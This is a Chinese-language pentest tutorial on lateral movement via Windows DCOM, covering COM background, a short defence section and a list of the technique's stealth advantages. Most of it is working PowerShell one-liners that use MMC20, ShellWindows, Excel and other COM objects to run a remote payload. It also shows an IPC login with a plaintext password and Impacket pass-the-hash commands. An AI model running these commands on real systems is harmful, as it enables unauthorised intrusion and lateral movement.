内网渗透|利用 DCOM 进行横向渗透
字数 1186 2025-08-09 17:09:31
内网渗透:利用DCOM进行横向渗透技术详解
一、COM与DCOM基础概念
1. COM(组件对象模型)
- 定义:COM(Component Object Model)是基于Windows平台的组件对象接口标准
- 组成:由一组构造规范和组件对象库组成
- 特点:
- 使用接口而非方法描述自身
- 接口是一组函数指针表,每个指针指向具体函数体
- 组件对象可实现无限数量的接口
- 应用:Windows媒体播放器、Windows Server等微软产品的基础
2. DCOM(分布式组件对象模型)
- 定义:微软基于COM的扩展,支持不同机器间组件通信
- 工作原理:
- 使用RPC(远程过程调用)技术扩展COM功能
- 允许应用程序实例化和访问远程计算机上的COM对象
- 攻击利用价值:
- 可在拥有适当权限情况下通过Office等应用程序远程执行命令
- 执行进程会托管在COM服务器端软件中(如explorer.exe),隐蔽性强
二、本地DCOM命令执行技术
1. 获取DCOM程序列表
- PowerShell 3.0+命令:
Get-CimInstance Win32_DCOMApplication - PowerShell 2.0替代命令:
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
2. 利用MMC20.Application执行本地命令
# 创建MMC20.Application实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "127.0.0.1"))
# 枚举对象方法和属性
$com.Document.ActiveView | Get-Member
# 使用ExecuteShellCommand方法执行命令
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c calc.exe", "Minimized")
三、远程DCOM横向渗透技术
1. 利用条件
- 具有管理员权限的PowerShell
- 可能需要关闭目标系统防火墙
- 使用域管账户或目标主机管理员权限账户
2. 常用DCOM对象及利用方法
(1) MMC20.Application
# 完整单行命令
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138")).Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c C:\shell.exe", "Minimized")
(2) ShellWindows
# 完整单行命令
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.52.138")).item().Document.Application.ShellExecute("cmd.exe", "/c C:\shell.exe", "c:\windows\system32", $null, 0)
(3) Excel.Application
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application", "192.168.52.138"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe", "/c C:\shell.exe")
(4) ShellBrowserWindow
# 适用于Win10和Win Server 2012 R2+
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")
(5) Visio.Application
# 需目标安装Visio
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application", "192.168.52.138")).[0].Document.Application.shellExecute("C:\shell.exe")
(6) Outlook.Application
# 需目标安装Outlook
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application", "192.168.52.138")).createObject("Shell.Application").shellExecute("C:\shell.exe")
3. 利用流程示例(以MMC20.Application为例)
- 建立IPC连接:
net use \\192.168.52.138\ipc$ "Liu78963" /user:Aministrator - 上传恶意程序到目标主机
- 通过PowerShell执行DCOM命令:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c C:\shell.exe", "Minimized")
四、Impacket工具中的dcomexec.py
1. 功能特点
- 提供半交互式shell
- 支持MMC20.Application、ShellWindows和ShellBrowserWindow对象
2. 使用方法
# 基本格式
./dcomexec.py domain/username:password@ip
./dcomexec.py domain/username:password@ip <command>
# 通过代理使用示例
proxychains4 python3 ./dcomexec.py god/administrator:Liu78963@192.168.10.20
proxychains4 python3 ./dcomexec.py god/administrator:Liu78963@192.168.10.20 whoami
# 使用哈希认证
proxychains4 python3 ./dcomexec.py administrator:@192.168.52.143 whoami -hashes aad3b435b51404eeaad3b435b51404ee:d8f69f9520b448174136e49a1051ef07
五、防御措施
- 启用域防火墙:默认会阻止DCOM对象实例化
- 强化防火墙配置:防止攻击者远程篡改或关闭防火墙
- 参考防御指南:
六、技术优势与特点
-
隐蔽性强:
- 执行进程托管在合法COM服务器端软件中
- 如explorer.exe等常见进程,难以监测
-
适用范围广:
- 适用于Windows 7~10、Windows Server 2008~2016
- 多种DCOM对象可供选择利用
-
灵活性高:
- 不强制要求事先建立IPC连接
- 仅需当前主机管理员权限即可实施